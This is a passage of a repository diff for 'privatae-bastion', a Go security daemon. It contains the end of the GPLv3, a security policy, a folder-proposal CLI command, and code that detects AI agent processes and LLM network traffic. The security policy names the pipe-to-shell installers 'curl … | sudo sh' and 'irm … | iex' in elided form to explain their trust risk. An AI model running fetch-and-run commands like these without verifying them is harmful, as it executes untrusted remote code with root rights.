country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
# Security policy
|
||||
|
||||
## Reporting a vulnerability
|
||||
|
||||
Please do not open a public issue for a security problem.
|
||||
|
||||
Email **info@privatae.ai** with:
|
||||
|
||||
- the version (`privatae-bastion version`) and platform,
|
||||
- what you found and how to reproduce it,
|
||||
- what an attacker could do with it.
|
||||
|
||||
You will get an acknowledgement within three business days. We will keep you
|
||||
informed as the report is confirmed and fixed, and credit you in the release
|
||||
notes if you wish.
|
||||
|
||||
## What is in scope
|
||||
|
||||
- This repository: the `privatae-bastion` binary and the installers under
|
||||
`deploy/`.
|
||||
- Anything that lets a host, another machine, or another user on the same
|
||||
machine do more than the grant and the local approval allow: reading files
|
||||
outside a granted store, deleting where only archiving is allowed, running a
|
||||
program that is not in the fixed table, bypassing the second factor, opening
|
||||
a listener that is not documented in the README's security model.
|
||||
|
||||
## What is out of scope
|
||||
|
||||
- The Privatae platform the bastion connects to. It is separate software with
|
||||
its own reporting path; reports about it sent to the address above are
|
||||
forwarded.
|
||||
- Findings that require root on the machine already. The bastion's root ops
|
||||
assume the machine's administrator is trusted.
|
||||
|
||||
## Supported versions
|
||||
|
||||
Only the current release, as published in the release manifest, receives
|
||||
fixes. The bastion self-updates from that manifest, checks the manifest's
|
||||
signature, and checks the digest of what it installs against it, so a fixed
|
||||
release reaches every paired machine when its host directs the update.
|
||||
|
||||
## What you still have to trust
|
||||
|
||||
The bastion limits what your host can do on your machine. It cannot limit what
|
||||
the bastion itself does, and the bastion comes from us. These are the places
|
||||
where you are trusting us, and what stands in the way.
|
||||
|
||||
**The release key.** Every release manifest, for the bastion and for the agent
|
||||
it runs, is signed with an ed25519 release key. The public halves are compiled
|
||||
into the binary (`client-go/release_sign.go`), and a manifest that does not
|
||||
verify is refused. The private key never comes to the machine that builds and
|
||||
publishes releases: a release is built there, then waits until the key holder
|
||||
signs it on their own computer with `deploy/release-sign`, where the key is
|
||||
stored encrypted under a passphrase. Whoever holds that key and passphrase can
|
||||
publish a bastion and an agent that every bastion will accept. A compromised
|
||||
download server, cache or DNS record is not enough on its own: without the key
|
||||
it can only serve something the bastion refuses.
|
||||
|
||||
The release machine is different. It builds the release and computes the
|
||||
digest the key holder signs, and the signing program shows only the kind,
|
||||
the version and that digest, which the key holder has no independent way to
|
||||
check at that moment. So someone in control of the release machine could have
|
||||
a substituted release signed during a normal publish. That would not stay
|
||||
hidden: `deploy/verify-release.sh`, run from any clone of this repository,
|
||||
rebuilds the published release and reports any binary that differs. But it is
|
||||
found after publishing, not stopped before it.
|
||||
|
||||
Two keys are pinned, a primary and a spare kept offline apart from it. If one
|
||||
is lost, releases are signed with the other, and a later release pins a new
|
||||
spare. If both were lost, no bastion could take another update or agent until
|
||||
it was reinstalled by hand.
|
||||
|
||||
**The first install.** `curl … | sudo sh` and `irm … | iex` run a script from
|
||||
our website before any bastion exists to check anything. The installer checks
|
||||
the binary's digest against the manifest, but the installer and the manifest
|
||||
come from the same place. To avoid trusting that one download, build from
|
||||
source (see the README) or run `deploy/verify-release.sh` before installing.
|
||||
|
||||
**Bastion updates.** A bastion never replaces itself on its own. Your host has
|
||||
to ask, and what it can ask for is limited to what we signed: the update goes
|
||||
ahead only when a signed manifest names exactly the version the host asked
|
||||
for. On a machine anchored to a host, a move to a newer version needs no
|
||||
approval from you, so there the signature is the only thing that stands in
|
||||
the way, as it is for the agent below. A signature shows that we published a
|
||||
manifest at some point, not that it is the latest one, so a move to an older
|
||||
version, or to one the bastion cannot compare with its own, still needs your
|
||||
approval bound to that exact version. On a local machine that is not
|
||||
anchored, your host can move the bastion to an older signed release by asking.
|
||||
Switching `directives` off in the local console refuses every update your
|
||||
host asks for.
|
||||
|
||||
**Agent updates.** The agent is different: it updates without asking. While a
|
||||
folder is shared with the agent, the bastion checks the agent's manifest every
|
||||
ten minutes and installs any newer signed version, restarting the agent on it,
|
||||
with no request from your host and no approval from you. The signature is the
|
||||
only thing that stands in the way. A new agent version reads the folders you
|
||||
granted, as the old one did, and is never moved to an older version than the
|
||||
one installed.
|
||||
|
||||
**Checking our work.** Release builds are reproducible.
|
||||
`deploy/verify-release.sh` fetches the published manifest, checks its
|
||||
signature, checks out the release's source, rebuilds it, and compares every
|
||||
binary's digest. From 0.43.0 on, each public snapshot in this repository
|
||||
carries the annotated tag `v<version>`, whose message records the release's
|
||||
`built_from`. That field names the commit in the repository the release was
|
||||
built in, which is not a commit here, so the script uses the tag and prints
|
||||
which source it used. If the digests match, this source builds the binaries we
|
||||
serve. Releases published before build reproducibility was added (0.40.0 and
|
||||
earlier) cannot be checked this way.
|
||||
|
||||
**The agent.** The bastion downloads the bastion agent, runs it, and gives it
|
||||
the folder you granted. The agent is a separate program in its own repository
|
||||
(`privatae/bastion-agent`), and it reads your files in order to index them. What
|
||||
leaves your machine is what its manifest and your grant allow. Its extraction
|
||||
and PII redaction happen inside it, so check that repository, not this one,
|
||||
for how well those work.
|
||||
|
||||
**The platform.** Your host runs on our platform, which is not open source. The
|
||||
bastion keeps the host to your grant and your approvals whatever the platform
|
||||
does. What the host does with what you share with it is governed by software
|
||||
you cannot read here.
|
||||
@@ -0,0 +1,7 @@
|
||||
# Local build artifacts (go build writes these). A name that is no longer
|
||||
# produced stays ignored: un-ignoring it once let a stale local build be
|
||||
# committed.
|
||||
bastion-client
|
||||
bastion-client.exe
|
||||
privatae-bastion
|
||||
privatae-bastion.exe
|
||||
@@ -0,0 +1,158 @@
|
||||
package main
|
||||
|
||||
// "Add folders to your network" — DCN store onboarding, CLI-first.
|
||||
//
|
||||
// The production bastion is this binary (the enrollment flow installs it; there is
|
||||
// no local dashboard), so the onboarding front door is a CLI verb:
|
||||
//
|
||||
// privatae-bastion add-folder <path> [display name]
|
||||
//
|
||||
// The verb talks to the RUNNING daemon's loopback endpoint (POST /dcn/propose,
|
||||
// OperatorSecret-guarded like /git-credential); the daemon validates the folder locally (this
|
||||
// box can actually check, unlike the host) and forwards the draft over the live
|
||||
// mTLS tunnel to the host's /api/network/nac/dcn/propose. The draft lands INERT —
|
||||
// the user approves it in their host (Context Manager → Storage → Your network) with
|
||||
// their step-up code. Nothing is granted from here, nothing is ever pre-selected,
|
||||
// and skipping is first-class: the verb exists, run it or don't.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func cmdAddFolder(host, path, name string) error {
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(cfgs) == 0 {
|
||||
return fmt.Errorf("not paired yet — run `privatae-bastion pair <token>` first")
|
||||
}
|
||||
// Multi-homed boxes must NAME the host (0.10.0): guessing here is how a folder
|
||||
// ends up proposed to the wrong entity. One pairing needs no flag.
|
||||
var cfg *Config
|
||||
switch {
|
||||
case host != "":
|
||||
cfg, err = findPairing(cfgs, host)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg == nil {
|
||||
return fmt.Errorf("no pairing matches --host '%s' — paired hosts:\n %s",
|
||||
host, strings.Join(hostNames(cfgs), "\n "))
|
||||
}
|
||||
case len(cfgs) == 1:
|
||||
cfg = cfgs[0]
|
||||
default:
|
||||
return fmt.Errorf("%d hosts are paired — say which one with --host:\n privatae-bastion add-folder --host <host> %s\npaired hosts:\n %s",
|
||||
len(cfgs), path, strings.Join(hostNames(cfgs), "\n "))
|
||||
}
|
||||
abs, err := filepath.Abs(expandHome(path))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
info, err := os.Stat(abs)
|
||||
if err != nil || !info.IsDir() {
|
||||
return fmt.Errorf("'%s' is not a directory on this machine", abs)
|
||||
}
|
||||
body, _ := json.Marshal(map[string]string{"root": abs, "display_name": name})
|
||||
req, err := http.NewRequest(http.MethodPost,
|
||||
"http://"+cfg.ListenAddr+"/dcn/propose", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+cfg.OperatorSecret)
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("the bastion daemon isn't running — start it with `privatae-bastion run` (%w)", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
raw, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("draft failed: %s", string(raw))
|
||||
}
|
||||
fmt.Printf(`Draft created for %s.
|
||||
|
||||
Your files stay on this machine. Privatae Host keeps only the index — a route map of
|
||||
what exists and where — so your host can find things instantly. Content is read
|
||||
on demand, only from folders you approve, and every read is logged for you.
|
||||
|
||||
Nothing is granted yet: approve the draft on your Host (Context Manager → Storage →
|
||||
Your network) with your 6-digit code.
|
||||
`, abs)
|
||||
return nil
|
||||
}
|
||||
|
||||
func expandHome(p string) string {
|
||||
if len(p) >= 2 && p[:2] == "~/" {
|
||||
if home, err := os.UserHomeDir(); err == nil {
|
||||
return filepath.Join(home, p[2:])
|
||||
}
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// dcnProposeLocal is the daemon-side loopback handler (mounted on the :7878 mux in
|
||||
// cmdRun): validate locally, then forward the draft over the live tunnel with the
|
||||
// bastion's bearer. The hostname sent as `server` is this box's — the same identity
|
||||
// the heartbeat reports and the signed grant will name.
|
||||
func dcnProposeLocal(upstream *http.Client, hostName, bearer, operatorSecret string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if !uiSecretMatches(strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer "), operatorSecret) {
|
||||
http.Error(w, `{"error":"unauthorized"}`, http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Root string `json:"root"`
|
||||
DisplayName string `json:"display_name"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Root == "" {
|
||||
http.Error(w, `{"error":"root (a folder path) is required"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
abs, err := filepath.Abs(expandHome(body.Root))
|
||||
if err != nil {
|
||||
http.Error(w, `{"error":"bad path"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if info, err := os.Stat(abs); err != nil || !info.IsDir() {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"'%s' is not a directory on this machine"}`, abs),
|
||||
http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
// The bastion-authed draft lane (mirrors the heartbeat path family): the
|
||||
// host derives `server` from OUR bearer's heartbeat hostname — a bastion
|
||||
// can only propose folders on itself, so no server field is sent.
|
||||
payload, _ := json.Marshal(map[string]string{
|
||||
"root": abs, "display_name": body.DisplayName,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost,
|
||||
fmt.Sprintf("https://%s:8443/api/network/bastions/dcn-propose", hostName),
|
||||
bytes.NewReader(payload))
|
||||
if err != nil {
|
||||
http.Error(w, `{"error":"bad upstream request"}`, http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+bearer)
|
||||
resp, err := upstream.Do(req)
|
||||
if err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"could not reach your host: %s"}`, err),
|
||||
http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
_, _ = io.Copy(w, resp.Body)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,901 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The OBSERVE plane. The bastion (root, on the server) watches for AI/agent activity two ways
|
||||
// and correlates by pid: the PROCESS signal (known agent binaries) and the NETWORK
|
||||
// signal (outbound connections to inference endpoints). A process disguised at the process
|
||||
// layer still betrays itself by talking to a model. Detection is SOFT + evadable — visibility +
|
||||
// early-warning, NEVER relied on for security (containment is the host-local NAC). The report
|
||||
// serves the user's OWN host on the user's OWN infra; the platform never sees it.
|
||||
//
|
||||
// PLATFORM SPLIT. This file holds every JUDGEMENT — what counts as an agent, what
|
||||
// counts as an inference endpoint — so the rules are identical on every OS and testable from any
|
||||
// one of them. Each platform supplies only raw enumeration, in agents_<goos>.go:
|
||||
//
|
||||
// scanProcesses() (map[int]agentObs, error) the running processes that match an agent
|
||||
// signature; an error is a walk that did not happen
|
||||
// scanConnections() []connObs established outbound TCP, with the owning pid
|
||||
// procUser / procCmdline / procEnvToken (pid int) string
|
||||
// procExe (pid int) string the KERNEL's executable path, or "" — never argv[0]
|
||||
//
|
||||
// Before this, both enumerators were Linux-only (/proc + `ss`), so a Windows or macOS bastion
|
||||
// enforced its grants while observing NOTHING. A bastion that cannot see is the gap this closes:
|
||||
// the machines nobody has visibility of are the ones most likely to be running something.
|
||||
|
||||
// agentBinaries: argv[0] basename (the binary IS the agent) -> signature. Exact-match keeps false
|
||||
// positives near zero. Compared after binBase(), which lowercases and drops a ".exe" suffix, so
|
||||
// one entry covers `claude`, `/usr/local/bin/claude` and `C:\...\claude.exe`.
|
||||
var agentBinaries = map[string]string{
|
||||
"claude": "claude-code",
|
||||
"claude-code": "claude-code",
|
||||
"aider": "aider",
|
||||
"goose": "goose",
|
||||
"cline": "cline",
|
||||
"cursor-agent": "cursor",
|
||||
"interpreter": "open-interpreter",
|
||||
"opencode": "opencode",
|
||||
"codex": "codex",
|
||||
"gemini": "gemini-cli",
|
||||
"agy": "antigravity",
|
||||
"crush": "crush",
|
||||
}
|
||||
|
||||
// agentSubstrings: distinctive cmdline markers for interpreter-wrapped agents (argv[0] is node/python).
|
||||
var agentSubstrings = []struct{ Sub, Sig string }{
|
||||
{"claude-code", "claude-code"},
|
||||
{"@anthropic-ai/claude", "claude-code"},
|
||||
{"continuedev", "continue"},
|
||||
{"open-interpreter", "open-interpreter"},
|
||||
{"cursor-tunnel", "cursor"},
|
||||
{"@openai/codex", "codex"},
|
||||
{"@google/gemini-cli", "gemini-cli"},
|
||||
{"opencode-ai", "opencode"},
|
||||
}
|
||||
|
||||
// automationBinaries (kind `automation`): tools that drive a
|
||||
// machine with NO model of their own — input injection, browser drivers, RPA
|
||||
// runtimes. Every automation has to be identifiable, because the subtle agent
|
||||
// is the one worth detecting, not the big loud harness. An automation is inventory,
|
||||
// never an alert; the moment model traffic joins it, it is an agent.
|
||||
var automationBinaries = map[string]string{
|
||||
"xdotool": "xdotool",
|
||||
"ydotool": "ydotool",
|
||||
"cliclick": "cliclick",
|
||||
"chromedriver": "chromedriver",
|
||||
"geckodriver": "geckodriver",
|
||||
"msedgedriver": "msedgedriver",
|
||||
"safaridriver": "safaridriver",
|
||||
"autohotkey": "autohotkey",
|
||||
"autohotkey64": "autohotkey",
|
||||
"autohotkeyu64": "autohotkey",
|
||||
"autohotkeyu32": "autohotkey",
|
||||
"autoit3": "autoit",
|
||||
"sikulix": "sikulix",
|
||||
}
|
||||
|
||||
// automationSubstrings: interpreter-wrapped automation frameworks, gated the
|
||||
// same way as agentSubstrings (argv[0] must be an interpreter).
|
||||
var automationSubstrings = []struct{ Sub, Sig string }{
|
||||
{"playwright", "playwright"},
|
||||
{"puppeteer", "puppeteer"},
|
||||
{"selenium", "selenium"},
|
||||
{"pyautogui", "pyautogui"},
|
||||
{"browser-use", "browser-use"},
|
||||
{"browser_use", "browser-use"},
|
||||
}
|
||||
|
||||
// interpreters: argv[0] basenames that run a script — only THESE get the cmdline-substring check,
|
||||
// so a shell command that merely MENTIONS a marker (a grep, an echo, this very test) isn't flagged.
|
||||
// Windows ships the same runtimes as node.exe/python.exe; binBase() has already dropped ".exe".
|
||||
var interpreters = map[string]bool{
|
||||
"node": true, "nodejs": true, "python": true, "python3": true,
|
||||
"bun": true, "deno": true, "npx": true, "uv": true, "uvx": true,
|
||||
"pythonw": true, "py": true,
|
||||
}
|
||||
|
||||
// llmEndpoints: REMOTE inference API hostnames. Resolved to IPs (cached) and matched against
|
||||
// outbound connections. Maintained + updatable (EDR-style). Imperfect by nature (shared CDN IPs) —
|
||||
// a soft signal, correlated with the process signal, never the security wall.
|
||||
var llmEndpoints = []string{
|
||||
"api.anthropic.com", "api.openai.com", "openrouter.ai", "api.mistral.ai",
|
||||
"api.cohere.ai", "generativelanguage.googleapis.com", "api.groq.com",
|
||||
"api.together.xyz", "api.deepseek.com", "api.x.ai", "api.perplexity.ai",
|
||||
"api.moonshot.cn", "api.moonshot.ai", "api.fireworks.ai",
|
||||
"api.deepinfra.com", "api.cerebras.ai", "api.sambanova.ai",
|
||||
"bedrock-runtime.us-east-1.amazonaws.com", "api.z.ai",
|
||||
}
|
||||
|
||||
// ── LOCAL inference ─────────────────────────────────────────────────────────
|
||||
// The endpoint list above is cloud APIs only, so an agent driven by a model on
|
||||
// this box (Ollama, LM Studio, llama.cpp) or on the LAN produced NO network
|
||||
// signal at all. On a restricted or air-gapped network that is the LIKELIER
|
||||
// case, which made it the blind spot worth closing first.
|
||||
//
|
||||
// Matched by DESTINATION PORT rather than address: the address of a local model
|
||||
// is whatever the user chose (loopback, a LAN GPU box, a tunnel address), but
|
||||
// the port is the server's published default. Three tiers, because a false
|
||||
// "unrequested agent" alert costs the user more than a missed one — it teaches
|
||||
// them to ignore the alert:
|
||||
//
|
||||
// verified — read from THIS box's own configuration (OLLAMA_ADDR,
|
||||
// PRIVATAE_LLM_ADDR). The operator told us an inference server
|
||||
// listens there, so a connection to it is evidence on its own.
|
||||
// known — published defaults distinctive enough to stand alone.
|
||||
// ambiguous — defaults that collide with ordinary web development. These
|
||||
// ANNOTATE a process the process signal already matched, and can
|
||||
// never promote an unknown process to "llm-client" on their own.
|
||||
//
|
||||
// Reported as "local:<port> (<what>)" so the host can say WHICH local server,
|
||||
// and so the string never looks like a cloud hostname the user could block.
|
||||
var knownLocalLLMPorts = map[int]string{
|
||||
11434: "ollama",
|
||||
11435: "ollama",
|
||||
1234: "lm-studio",
|
||||
1337: "jan",
|
||||
5001: "koboldcpp",
|
||||
30000: "sglang",
|
||||
8321: "llama-stack",
|
||||
}
|
||||
|
||||
var ambiguousLocalLLMPorts = map[int]string{
|
||||
8080: "llama.cpp/localai",
|
||||
8000: "vllm",
|
||||
5000: "text-generation-webui",
|
||||
7860: "gradio/text-generation-webui",
|
||||
}
|
||||
|
||||
// connObs — one established outbound TCP connection and the pid that owns it.
|
||||
// The platform layer produces these; classification happens here.
|
||||
type connObs struct {
|
||||
PID int
|
||||
RemoteIP string
|
||||
RemotePort int
|
||||
// ViaHelper: the socket belongs to a GUI helper process and PID has been
|
||||
// rewritten to the app that owns it (scanAgents). The connection then
|
||||
// describes an APP, never a disguised agent.
|
||||
ViaHelper bool
|
||||
}
|
||||
|
||||
type agentObs struct {
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid,omitempty"` // parent pid — what contain walks, and how a helper finds its app
|
||||
// Kind: WHAT the process is, not just what it matched.
|
||||
// agent — a coding/automation agent (the signature tables): acts on its own.
|
||||
// app — interactive software the user is running that happens to talk
|
||||
// to a model (the Claude desktop app, an IDE, a browser).
|
||||
// client — an unknown process caught by the network signal alone.
|
||||
// Measured origin: one Windows box reported the Claude DESKTOP app as nine
|
||||
// "claude-code" agents (eight of them Chromium helper processes), and the
|
||||
// host raised nine alerts with nine kill buttons. An app is visibility, never
|
||||
// an alert and never a contain target.
|
||||
Kind string `json:"kind,omitempty"`
|
||||
User string `json:"user"`
|
||||
Signature string `json:"signature"`
|
||||
Cmdline string `json:"cmdline"`
|
||||
// Exe is the KERNEL's record of which file this process is
|
||||
// running. It is what a local sanction is keyed on (sanction.go), and it is
|
||||
// the only field here a process cannot choose for itself.
|
||||
//
|
||||
// NEVER DERIVED FROM Cmdline, and the two are not the same fact. Measured:
|
||||
// `bash -c 'exec -a /home/user/.local/bin/claude sleep 25'`
|
||||
// reported "/home/user/.local/bin/claude 25" in /proc/<pid>/cmdline while
|
||||
// /proc/<pid>/exe still read /usr/lib/cargo/bin/coreutils/sleep. argv[0] is a
|
||||
// string the launcher picks; this is the path the kernel opened.
|
||||
//
|
||||
// EMPTY when the platform could not supply one — another user's process, a
|
||||
// handle the bastion may not open, a build with no enumerator. Empty is
|
||||
// never back-filled from argv[0]: a guessed identity is exactly the forgery
|
||||
// this field exists to stop, and sanction.go refuses to mark an observation
|
||||
// that has none. Absolute or empty, nothing in between (sanitizeExePath).
|
||||
//
|
||||
// It travels on the heartbeat. The host reads its agent rows key by key
|
||||
// (the host's agent-detection reader), so an unknown key is ignored by
|
||||
// every host that predates it rather than rejected.
|
||||
Exe string `json:"exe,omitempty"`
|
||||
LLMEndpoints []string `json:"llm_endpoints,omitempty"`
|
||||
DelegationToken string `json:"delegation_token,omitempty"` // host-issued tag, if the agent carries one
|
||||
// Origin: how the process was started — interactive, remote,
|
||||
// scheduler, service, agent, unknown (origin.go). Evidence is every typed
|
||||
// reason behind kind and origin; the host shows the list, never a verdict.
|
||||
Origin string `json:"origin,omitempty"`
|
||||
// Unit is what OWNS this process — the systemd slice/unit on linux. It is
|
||||
// already read for classification (origin_linux.go:82, via cgroupUnit) and
|
||||
// was discarded after; the baseline's fingerprint needs it, because that is
|
||||
// what makes a service RESTART the same entry rather than a new one
|
||||
// (baseline.go). Empty where the platform does not supply one: darwin and
|
||||
// windows never populate procFacts.Unit, so those fall back to the origin.
|
||||
Unit string `json:"unit,omitempty"`
|
||||
Evidence []evidence `json:"evidence,omitempty"`
|
||||
raw string // the UNTRUNCATED command line, for classification only; never reported
|
||||
// automation: the signature came from the automation tables, so the
|
||||
// classifier gives this kind `automation` unless model traffic promotes it.
|
||||
automation bool
|
||||
}
|
||||
|
||||
// localLLMPorts returns the destination ports that mean "local inference" on
|
||||
// this box: strong (stands alone as evidence) and weak (corroborating only).
|
||||
